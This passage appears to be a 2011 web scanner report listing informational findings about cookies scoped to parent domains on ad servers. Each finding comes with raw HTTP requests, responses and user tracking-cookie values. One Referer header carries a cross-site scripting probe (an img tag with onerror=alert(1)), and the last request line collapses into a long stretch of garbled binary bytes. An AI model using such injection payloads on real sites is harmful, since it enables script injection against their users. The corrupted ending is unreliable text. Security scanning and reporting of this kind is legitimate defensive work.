Date: Tue, 10 May 2011 14:21:02 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Server: XPEHb/1.0
Set-Cookie: ut="1%3Aq1YqM1KyqlbKTq0szy9KKVayUkrOyDHLrDTNM6wxLDK0yDOqMawx0Ck2yMg1rzEsSDbLKQYJKOkoJSXm5aUWZYL1KNXWAgA%3D"; path=/; domain=.adbrite.com; expires=Fri, 07-May-2021 14:21:02 GMT
Set-Cookie: vsd=0@1@4dc949ce@bcp.crwdcntrl.net; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 14:21:02 GMT
Content-Length: 42

GIF89a.............!.......,........@..D.;

12.27. http://ads.adbrite.com/adserver/vdi/684339 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/adserver/vdi/684339

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo5CgY2ODQzMzkYm4DPlxEiKXV1aWQ9NGRhYjdkMzUtYjFkMi05MTVhLWQzYzAtOWQ1N2Y5YzY2YjA3CjQKBjcxMTM4NBiI_srNEyIkYzFlMTMwMWUtM2ExZi00Y2E3LTk4NzAtZjYzNmI1ZjEwZTY2ChwKBjcxMjE1Nhjo2_vjEyIMeHJkNTJ6a3dqdXhoCiMKBjc0MjY5NxjFp47PDiITMjkzMTE0Mjk2MTY0NjYzNDc3NQokCgY3NTMyOTIY0JnqjRMiFEFNLTAwMDAwMDAwMDMwNjIwNDUyCjYKBjc2MjcwMRDvsNDWDBiP7MeqFiIgOTc4OTcyREZBMDYzMDAwRDJDMEU3QTM4MEJGQTFERUMKIQoGNzc5MDQ1GM_BmeATIhExNzY0NzEwODAwNjAzNDA4OQoWCgY3ODI2MDYQ77DQ1gwYj-zHqhYiAAo0CgY4MDYyMDUYwMmGmRUiJDBjMmFlZGU2LTZiYjYtMTFlMC04ZmU2LTAwMjU5MDBhOGZmZQo0CgY4MTA2NDcYycGHhEQiJDU0OTE4OGExLWEwN2MtNDIzMS1iZTk0LTdmNzI1ZTFhMTlmNwowCgY4MzA2OTcYi9eDzQ4iIDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDEAE; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 13:22:11 GMT
ut="1%3AXZFJloMgFEX3wtgBYFAru1EhotJIk1gasvcCqpKjNeNc7vvN%2BU%2FwwOD6BDPbVm2pA1dgVyHvARnp6jqgAIsEXAJLTTPoOW8GA9tHhGLwMuDQFW4cVZmsDuZYQNMMk6vIjIkffr9YdDEtjCn3NZKmtCISRN7eTZ%2B8N5Un6gQTIpLOrzrUoerKj6j%2BxUU1btUlUQrv4jg9XyLcJ35aiesjdHPpkyWNQnmli9RxJSu1ymMa2vyFc%2FORnKfEzsbYst2UCm1AyO%2BFazGNT4vI9JUrfvef3gynOIfDoWZV98eaoABdqxSzY74UeL1%2BAA%3D%3D"; path=/; domain=.adbrite.com; expires=Fri, 07-May-2021 13:22:11 GMT
rb="0:682865:20838240:null:0:684339:20838240:uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07:0:711384:20861280:c1e1301e-3a1f-4ca7-9870-f636b5f10e66:0:712156:20861280:xrd52zkwjuxh:0:742697:20828160:2931142961646634775:0:753292:20858400:AM-00000000030620452:0:762701:20861280:978972DFA063000D2C0E7A380BFA1DEC:0:779045:20861280:17647108006034089:0:782606:20861280::0:806205:20882880:0c2aede6-6bb6-11e0-8fe6-0025900a8ffe:0:810647:21077280:549188a1-a07c-4231-be94-7f725e1a19f7:0:830697:20838240:9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC:0"; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 13:22:11 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserver/vdi/684339?d=uuid%3D4dab7d35-b1d2-915a-d3c0-9d57f9c66b07 HTTP/1.1
Host: ads.adbrite.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache="168362049x0.049+1303083450x544669068"; cv="1%3Aq1ZyLi0uyc91zUtWslIyyU9OqknPLc9PsUitqDFNLbEyLLRITSm1MrayMC%2FPL1WqBQA%3D"; rb=0:682865:20838240:null:0:684339:20838240:4dab7d35-b1d2-915a-d3c0-9d57f9c66b07:0:711384:20861280:c1e1301e-3a1f-4ca7-9870-f636b5f10e66:0:712156:20861280:xrd52zkwjuxh:0:742697:20828160:2931142961646634775:0:753292:20858400:AM-00000000030620452:0:762701:20861280:978972DFA063000D2C0E7A380BFA1DEC:0:779045:20861280:17647108006034089:0:782606:20861280::0:806205:20882880:0c2aede6-6bb6-11e0-8fe6-0025900a8ffe:0:810647:21077280:549188a1-a07c-4231-be94-7f725e1a19f7:0:830697:20838240:9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC:0; srh="1%3Aq64FAA%3D%3D"; geo="1%3ADchBDoIwEIXhu8xaTTspmLJVT4AeYDpDCYlYA2gihLv7Ni%2Ff%2Bzf6emo2Woc3NcTOOX%2FEsqMDLSvSrb2DVkZ4Lnl5yq%2BbToqPOgpq5T2s5QM%2FWnDqX%2BD1As5DD2ZnMZ1TSJVFjsqqIkFqs6xdzSHQvv8B"; b="%3A%3Ax6zw%2Cxews%2Clln4%2Cllra%2Cx4co%2Cx4cn%2Cx4cw%2C12gg8%2C12ggb%2C6e73"; rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo0CgY3MTEzODQYiP7KzRMiJGMxZTEzMDFlLTNhMWYtNGNhNy05ODcwLWY2MzZiNWYxMGU2NgocCgY3MTIxNTYY6Nv74xMiDHhyZDUyemt3anV4aAojCgY3NDI2OTcYxaeOzw4iEzI5MzExNDI5NjE2NDY2MzQ3NzUKJAoGNzUzMjkyGNCZ6o0TIhRBTS0wMDAwMDAwMDAzMDYyMDQ1Mgo2CgY3NjI3MDEQ77DQ1gwYj-zHqhYiIDk3ODk3MkRGQTA2MzAwMEQyQzBFN0EzODBCRkExREVDCiEKBjc3OTA0NRjPwZngEyIRMTc2NDcxMDgwMDYwMzQwODkKFgoGNzgyNjA2EO-w0NYMGI_sx6oWIgAKNAoGODA2MjA1GMDJhpkVIiQwYzJhZWRlNi02YmI2LTExZTAtOGZlNi0wMDI1OTAwYThmZmUKNAoGODEwNjQ3GMnBh4REIiQ1NDkxODhhMS1hMDdjLTQyMzEtYmU5NC03ZjcyNWUxYTE5ZjcKMAoGODMwNjk3GIvXg80OIiA5UVF4Y1RPNXVIMklhN0JrNHZHUzJTOTZ1Zk9Hc1NEQxAB; ut="1%3AXZFLloMgEEX3wtgBYBQ7u1ExovKRT2I0ZO8NpO3Wnt669V5xeIEHBtcXmLp1UYZacAVm4eLukRaWEI88zCKwEcyEJtAyVvUa1o8Aee%2BEx77J7DDIPFoNTGsejROMriwmXLj%2BM%2BqCi2mmdb4tgVS54YGgYvdu6uTtVJyo5R3ngTRuUZ74ssl%2FRflvnZfDWl4ipfDOj9ezOcBtZJ8n2Sl3EQgtUbr%2BIhT8c9XRNULJdKam1U9iKh%2BK85U1prVHBhXjV4p8tqEHWxMK5vUmpQ9T5La9pMNxncH%2BkFmS9pgJMtDUUnZmSD8F3u9v"; vsd=0@1@4dc93a15@letters.salon.com; fq="86xtm%2C1uo0%7Clkze39"

Response

HTTP/1.1 200 OK
Accept-Ranges: none
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: image/gif
Date: Tue, 10 May 2011 13:22:11 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Server: XPEHb/1.0
Set-Cookie: rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo5CgY2ODQzMzkYm4DPlxEiKXV1aWQ9NGRhYjdkMzUtYjFkMi05MTVhLWQzYzAtOWQ1N2Y5YzY2YjA3CjQKBjcxMTM4NBiI_srNEyIkYzFlMTMwMWUtM2ExZi00Y2E3LTk4NzAtZjYzNmI1ZjEwZTY2ChwKBjcxMjE1Nhjo2_vjEyIMeHJkNTJ6a3dqdXhoCiMKBjc0MjY5NxjFp47PDiITMjkzMTE0Mjk2MTY0NjYzNDc3NQokCgY3NTMyOTIY0JnqjRMiFEFNLTAwMDAwMDAwMDMwNjIwNDUyCjYKBjc2MjcwMRDvsNDWDBiP7MeqFiIgOTc4OTcyREZBMDYzMDAwRDJDMEU3QTM4MEJGQTFERUMKIQoGNzc5MDQ1GM_BmeATIhExNzY0NzEwODAwNjAzNDA4OQoWCgY3ODI2MDYQ77DQ1gwYj-zHqhYiAAo0CgY4MDYyMDUYwMmGmRUiJDBjMmFlZGU2LTZiYjYtMTFlMC04ZmU2LTAwMjU5MDBhOGZmZQo0CgY4MTA2NDcYycGHhEQiJDU0OTE4OGExLWEwN2MtNDIzMS1iZTk0LTdmNzI1ZTFhMTlmNwowCgY4MzA2OTcYi9eDzQ4iIDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDEAE; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 13:22:11 GMT
Set-Cookie: ut="1%3AXZFJloMgFEX3wtgBYFAru1EhotJIk1gasvcCqpKjNeNc7vvN%2BU%2FwwOD6BDPbVm2pA1dgVyHvARnp6jqgAIsEXAJLTTPoOW8GA9tHhGLwMuDQFW4cVZmsDuZYQNMMk6vIjIkffr9YdDEtjCn3NZKmtCISRN7eTZ%2B8N5Un6gQTIpLOrzrUoerKj6j%2BxUU1btUlUQrv4jg9XyLcJ35aiesjdHPpkyWNQnmli9RxJSu1ymMa2vyFc%2FORnKfEzsbYst2UCm1AyO%2BFazGNT4vI9JUrfvef3gynOIfDoWZV98eaoABdqxSzY74UeL1%2BAA%3D%3D"; path=/; domain=.adbrite.com; expires=Fri, 07-May-2021 13:22:11 GMT
Set-Cookie: vsd=; path=/; domain=.adbrite.com; expires=Tue, 10-May-2011 13:22:11 GMT
Set-Cookie: rb="0:682865:20838240:null:0:684339:20838240:uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07:0:711384:20861280:c1e1301e-3a1f-4ca7-9870-f636b5f10e66:0:712156:20861280:xrd52zkwjuxh:0:742697:20828160:2931142961646634775:0:753292:20858400:AM-00000000030620452:0:762701:20861280:978972DFA063000D2C0E7A380BFA1DEC:0:779045:20861280:17647108006034089:0:782606:20861280::0:806205:20882880:0c2aede6-6bb6-11e0-8fe6-0025900a8ffe:0:810647:21077280:549188a1-a07c-4231-be94-7f725e1a19f7:0:830697:20838240:9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC:0"; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 13:22:11 GMT
Content-Length: 42

GIF89a.............!.......,........@..D.;

12.28. http://ads.adbrite.com/adserver/vdi/742697 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/adserver/vdi/742697

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

srh="1%3Aq64FAA%3D%3D"; path=/; domain=.adbrite.com; expires=Wed, 11-May-2011 14:12:26 GMT
rb2=CiMKBjc0MjY5NxiP-dT4DiITMzY1ODE5NTk2NjAyOTQxNzk3MBAB; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 14:12:26 GMT
vsd=0@1@4dc947ca@cdn.turn.com; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 14:12:26 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserver/vdi/742697?d=3658195966029417970 HTTP/1.1
Host: ads.adbrite.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://cdn.turn.com/server/ddc.htm?uid=3658195966029417970&rnd=4554351895715906254&fpid=12&nu=n&t=&sp=n&purl=
Cookie: Apache="168362123x0.728+1302188608x-1818389268"; ut="1%3Aq1YqM1KyqlbKTq0szy9KKVayUio2yMg1rzEsSDbLKa4xrDFQ0lFKSszLSy3KBEsr1dYCAA%3D%3D"; rb2=CiMKBjc0MjY5NxjCuenaDCITMzY1ODE5NTk2NjAyOTQxNzk3MBAB; rb=0:742697:20828160:3658195966029417970:0

Response

HTTP/1.1 200 OK
Accept-Ranges: none
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: image/gif
Date: Tue, 10 May 2011 14:12:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Server: XPEHb/1.0
Set-Cookie: srh="1%3Aq64FAA%3D%3D"; path=/; domain=.adbrite.com; expires=Wed, 11-May-2011 14:12:26 GMT
Set-Cookie: rb2=CiMKBjc0MjY5NxiP-dT4DiITMzY1ODE5NTk2NjAyOTQxNzk3MBAB; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 14:12:26 GMT
Set-Cookie: vsd=0@1@4dc947ca@cdn.turn.com; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 14:12:26 GMT
Content-Length: 42

GIF89a.............!.......,........@..D.;

12.29. http://ads.adbrite.com/adserver/vdi/762701 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/adserver/vdi/762701

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

srh="1%3Aq64FAA%3D%3D"; path=/; domain=.adbrite.com; expires=Wed, 11-May-2011 14:11:57 GMT
rb2=CiMKBjc0MjY5NxjCuenaDCITMzY1ODE5NTk2NjAyOTQxNzk3MAouCgY3NjI3MDEYzZucrBYiHkUzRjMyQkQwOTU0NkM5NERBRDk1RDFCNTQwMTEwQxAB; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 14:11:57 GMT
vsd=0@1@4dc947ad@www.gather.com; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 14:11:57 GMT
rb=0:742697:20828160:3658195966029417970:0:762701:20861280:E3F32BD09546C94DAD95D1B540110C:0; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 14:11:57 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserver/vdi/762701?d=E3F32BD09546C94DAD95D1B540110C HTTP/1.1
Host: ads.adbrite.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: Apache="168362123x0.728+1302188608x-1818389268"; ut="1%3Aq1YqM1KyqlbKTq0szy9KKVayUio2yMg1rzEsSDbLKa4xrDFQ0lFKSszLSy3KBEsr1dYCAA%3D%3D"; rb2=CiMKBjc0MjY5NxjCuenaDCITMzY1ODE5NTk2NjAyOTQxNzk3MBAB; rb=0:742697:20828160:3658195966029417970:0

Response

HTTP/1.1 200 OK
Accept-Ranges: none
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: image/gif
Date: Tue, 10 May 2011 14:11:57 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Server: XPEHb/1.0
Set-Cookie: srh="1%3Aq64FAA%3D%3D"; path=/; domain=.adbrite.com; expires=Wed, 11-May-2011 14:11:57 GMT
Set-Cookie: rb2=CiMKBjc0MjY5NxjCuenaDCITMzY1ODE5NTk2NjAyOTQxNzk3MAouCgY3NjI3MDEYzZucrBYiHkUzRjMyQkQwOTU0NkM5NERBRDk1RDFCNTQwMTEwQxAB; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 14:11:57 GMT
Set-Cookie: vsd=0@1@4dc947ad@www.gather.com; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 14:11:57 GMT
Set-Cookie: rb=0:742697:20828160:3658195966029417970:0:762701:20861280:E3F32BD09546C94DAD95D1B540110C:0; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 14:11:57 GMT
Content-Length: 42

GIF89a.............!.......,........@..D.;

12.30. http://ads.adbrite.com/adserver/vdi/762701 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/adserver/vdi/762701

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo5CgY2ODQzMzkYvo6xlxEiKXV1aWQ9NGRhYjdkMzUtYjFkMi05MTVhLWQzYzAtOWQ1N2Y5YzY2YjA3CjQKBjcxMTM4NBiI_srNEyIkYzFlMTMwMWUtM2ExZi00Y2E3LTk4NzAtZjYzNmI1ZjEwZTY2ChwKBjcxMjE1Nhjo2_vjEyIMeHJkNTJ6a3dqdXhoCiMKBjc0MjY5NxjFp47PDiITMjkzMTE0Mjk2MTY0NjYzNDc3NQokCgY3NTMyOTIY0JnqjRMiFEFNLTAwMDAwMDAwMDMwNjIwNDUyCjAKBjc2MjcwMRjl0LirFiIgOTc4OTcyREZBMDYzMDAwRDJDMEU3QTM4MEJGQTFERUMKIQoGNzc5MDQ1GM_BmeATIhExNzY0NzEwODAwNjAzNDA4OQoWCgY3ODI2MDYQ77DQ1gwYj-zHqhYiAAo0CgY4MDYyMDUYwMmGmRUiJDBjMmFlZGU2LTZiYjYtMTFlMC04ZmU2LTAwMjU5MDBhOGZmZQo0CgY4MTA2NDcYycGHhEQiJDU0OTE4OGExLWEwN2MtNDIzMS1iZTk0LTdmNzI1ZTFhMTlmNwowCgY4MzA2OTcYi9eDzQ4iIDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDEAE; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 13:44:45 GMT
ut="1%3AXZFLloMgEEX3wtgBYFA7u1Hxy09AYzRk7w3Y6dae3rpV73F4gQcG9xdgzbYqQy24A7NysTikhc1zhxxMArABTDmNoO77otOwfHjIu1k47KrEDoNMg1XBuObQyGBwJWGYzN0xaryLaaJ1uq%2BeFKnhniDy8Vp18T5UXKjlDeeeVPOqXO6yKv0V5b91ng1bdguUwoWf2%2FeTh%2FvYH0%2ByLJ0DEFqi2P4mFPxz1dk1QslYU9Pi52IMH8i1ZYlp6ZBBZPyKJ5%2B1z8HW%2BIBpa6V0formPbFFm4lDfJ4bNjjc62F3Csny%2BhrCEF7iLiNBAwmoSikbM8S%2FBO%2F3Nw%3D%3D"; path=/; domain=.adbrite.com; expires=Fri, 07-May-2021 13:44:45 GMT
vsd=0@1@4dc9414d@politics.gather.com; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 13:44:45 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserver/vdi/762701?d=978972DFA063000D2C0E7A380BFA1DEC HTTP/1.1
Host: ads.adbrite.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache="168362049x0.049+1303083450x544669068"; cv="1%3Aq1ZyLi0uyc91zUtWslIyyU9OqknPLc9PsUitqDFNLbEyLLRITSm1MrayMC%2FPL1WqBQA%3D"; srh="1%3Aq64FAA%3D%3D"; geo="1%3ADchBDoIwEIXhu8xaTTspmLJVT4AeYDpDCYlYA2gihLv7Ni%2Ff%2Bzf6emo2Woc3NcTOOX%2FEsqMDLSvSrb2DVkZ4Lnl5yq%2BbToqPOgpq5T2s5QM%2FWnDqX%2BD1As5DD2ZnMZ1TSJVFjsqqIkFqs6xdzSHQvv8B"; b="%3A%3Ax6zw%2Cxews%2Clln4%2Cllra%2Cx4co%2Cx4cn%2Cx4cw%2C12gg8%2C12ggb%2C6e73"; fq="86xtm%2C1uo0%7Clkze39"; rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo5CgY2ODQzMzkYvo6xlxEiKXV1aWQ9NGRhYjdkMzUtYjFkMi05MTVhLWQzYzAtOWQ1N2Y5YzY2YjA3CjQKBjcxMTM4NBiI_srNEyIkYzFlMTMwMWUtM2ExZi00Y2E3LTk4NzAtZjYzNmI1ZjEwZTY2ChwKBjcxMjE1Nhjo2_vjEyIMeHJkNTJ6a3dqdXhoCiMKBjc0MjY5NxjFp47PDiITMjkzMTE0Mjk2MTY0NjYzNDc3NQokCgY3NTMyOTIY0JnqjRMiFEFNLTAwMDAwMDAwMDMwNjIwNDUyCjYKBjc2MjcwMRDvsNDWDBiP7MeqFiIgOTc4OTcyREZBMDYzMDAwRDJDMEU3QTM4MEJGQTFERUMKIQoGNzc5MDQ1GM_BmeATIhExNzY0NzEwODAwNjAzNDA4OQoWCgY3ODI2MDYQ77DQ1gwYj-zHqhYiAAo0CgY4MDYyMDUYwMmGmRUiJDBjMmFlZGU2LTZiYjYtMTFlMC04ZmU2LTAwMjU5MDBhOGZmZQo0CgY4MTA2NDcYycGHhEQiJDU0OTE4OGExLWEwN2MtNDIzMS1iZTk0LTdmNzI1ZTFhMTlmNwowCgY4MzA2OTcYi9eDzQ4iIDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDEAE; rb="0:682865:20838240:null:0:684339:20838240:uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07:0:711384:20861280:c1e1301e-3a1f-4ca7-9870-f636b5f10e66:0:712156:20861280:xrd52zkwjuxh:0:742697:20828160:2931142961646634775:0:753292:20858400:AM-00000000030620452:0:762701:20861280:978972DFA063000D2C0E7A380BFA1DEC:0:779045:20861280:17647108006034089:0:782606:20861280::0:806205:20882880:0c2aede6-6bb6-11e0-8fe6-0025900a8ffe:0:810647:21077280:549188a1-a07c-4231-be94-7f725e1a19f7:0:830697:20838240:9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC:0"; ut="1%3AXZFLkoMgFEX3wtgBYFA7u1FRUfkIaIyG7D1APqU9ow7n8u4rHuCGwfUBxmZblaEWXIFZuVgc0sLmuUMOJgHYAKacRlAzVnQaljcPeTcLh12V2L6XabAqGGMODSMMriQjJnP3vmq8i2midbqvnhSp4Z4g8vVadfK%2BVJyo5Q3nnlTzqlzusir9ifJfnGf9ll0CpXDhx%2FZs8nAf2Gklpo7QjukcLKEliitdhPIrGaFkrKlp8QnH4T05t8TW%2BNi0tVK60iE074ktMfVHg8jwF1%2B8135M0WbiDe%2FHMg0O7zHYfcogvERrJIepWV4fp4IEVKWUjenjX4Ln8wU%3D"; vsd=0@2@4dc93a35@ad.media6degrees.com

Response

HTTP/1.1 200 OK
Accept-Ranges: none
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: image/gif
Date: Tue, 10 May 2011 13:44:45 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Server: XPEHb/1.0
Set-Cookie: rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo5CgY2ODQzMzkYvo6xlxEiKXV1aWQ9NGRhYjdkMzUtYjFkMi05MTVhLWQzYzAtOWQ1N2Y5YzY2YjA3CjQKBjcxMTM4NBiI_srNEyIkYzFlMTMwMWUtM2ExZi00Y2E3LTk4NzAtZjYzNmI1ZjEwZTY2ChwKBjcxMjE1Nhjo2_vjEyIMeHJkNTJ6a3dqdXhoCiMKBjc0MjY5NxjFp47PDiITMjkzMTE0Mjk2MTY0NjYzNDc3NQokCgY3NTMyOTIY0JnqjRMiFEFNLTAwMDAwMDAwMDMwNjIwNDUyCjAKBjc2MjcwMRjl0LirFiIgOTc4OTcyREZBMDYzMDAwRDJDMEU3QTM4MEJGQTFERUMKIQoGNzc5MDQ1GM_BmeATIhExNzY0NzEwODAwNjAzNDA4OQoWCgY3ODI2MDYQ77DQ1gwYj-zHqhYiAAo0CgY4MDYyMDUYwMmGmRUiJDBjMmFlZGU2LTZiYjYtMTFlMC04ZmU2LTAwMjU5MDBhOGZmZQo0CgY4MTA2NDcYycGHhEQiJDU0OTE4OGExLWEwN2MtNDIzMS1iZTk0LTdmNzI1ZTFhMTlmNwowCgY4MzA2OTcYi9eDzQ4iIDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDEAE; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 13:44:45 GMT
Set-Cookie: ut="1%3AXZFLloMgEEX3wtgBYFA7u1Hxy09AYzRk7w3Y6dae3rpV73F4gQcG9xdgzbYqQy24A7NysTikhc1zhxxMArABTDmNoO77otOwfHjIu1k47KrEDoNMg1XBuObQyGBwJWGYzN0xaryLaaJ1uq%2BeFKnhniDy8Vp18T5UXKjlDeeeVPOqXO6yKv0V5b91ng1bdguUwoWf2%2FeTh%2FvYH0%2ByLJ0DEFqi2P4mFPxz1dk1QslYU9Pi52IMH8i1ZYlp6ZBBZPyKJ5%2B1z8HW%2BIBpa6V0formPbFFm4lDfJ4bNjjc62F3Csny%2BhrCEF7iLiNBAwmoSikbM8S%2FBO%2F3Nw%3D%3D"; path=/; domain=.adbrite.com; expires=Fri, 07-May-2021 13:44:45 GMT
Set-Cookie: vsd=0@1@4dc9414d@politics.gather.com; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 13:44:45 GMT
Content-Length: 42

GIF89a.............!.......,........@..D.;

12.31. http://ads.pointroll.com/PortalServe/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.pointroll.com
Path:	/PortalServe/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

PRgo=BCBAAsJvCAAuILDBF-19!BCVBF4FRDVCFUE6;domain=.pointroll.com; path=/; expires=Wed, 01-Jan-2020 00:00:00 GMT;;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /PortalServe/?pid=1246358F13920110329185247&flash=10&time=2|8:13|-5&redir=http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/k%3B239683308%3B0-0%3B1%3B61441307%3B3454-728/90%3B41708727/41726514/1%3Bu%3Do%2A_5bCS_5dv1_7c26DEF6EE05011508_2d40000100A0001105_5bCE_5d%3B%7Eokv%3D%3Bsz%3D728x90%3Bpos%3Dad1%3Bpoe%3Dyes%3Bad%3Dlb%3Bdel%3Djs%3Bajax%3Dn%3Bdcopt%3Dist%3Bad%3Dpop%3Bad%3Dinterstitial%3Bheavy%3Dy%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$CTURL$&r=0.4797919529955834 HTTP/1.@0®¢W¥Å‚ZÆ’€y2E#°&ã\môA3¢ÂMS¢–]íðl#c€Í}U‚µ@À‘n±Ã¨¹³S*ÏOßó (¼Â’í+ þOËÜÒ(@"„kæ£v¡FêûÞúšßÌ;«Õ{ï¼wA$é¬“ Ì™Ü ¬Wl½F/bÞ.O(ejDè†A±½>3lÒ&O?e£ÖWxžÉÔ'RÅßdêØwMcycà‡0¹Å—WH¥“^—ïµ²PJ_%˜g„FÔ_ß¥ðƒ*ôx‰©¡‰yÂ$‡ñ¿‘æ-Çã=·[ëÝ{£ÿ5]bvq&R™ˆŒ@Š¦üžšCŒ(W0/Å™3¢óÛ~½š¶#LW â~*UÄ¨î¹ø1¾'Œ† hB?Õ,âfRn0§R…Ež.»ÿ¿ý¨#²¢Áj1à£ºPã`¥j¿Ñ¨×€À ÓÅî[XIÉe6Óîâ£‘É nÝˆþü›V©‹9Ãæ"nT»q«‘ƒIêñôÓærw~óÃÛŽzÍxª©Ù¡ISLÜÄ„ýÂ¼‘ö)¢ .ˆ@¬!zÀú4 ¶/“-'äª&ž@ðaÍDc :”^ù¶#¦ŒÀåhW&ù:áÚåæb ÅÆKÄ™#R1˜Ãí·Š{î«÷µ“2ïXxØº¹Që{r )‚Ù=ÁíßsúT®Ëö]~¶q“ìèµ‹’Íž{óâãVmûRèŽç£h:æÛdKR6\G¶ýƒéú™pAT4l·ÑY ¼Ÿ—'ZB$ªÜýÖžd< Ž©ñòEl°:Š¶úW<ßõ€D‚/Æòù˜½Ó³(lÄFãÙÎ „rØV†Æƒ‹¼8_/u…š¡×‰Ô0m8ž]D†Xm 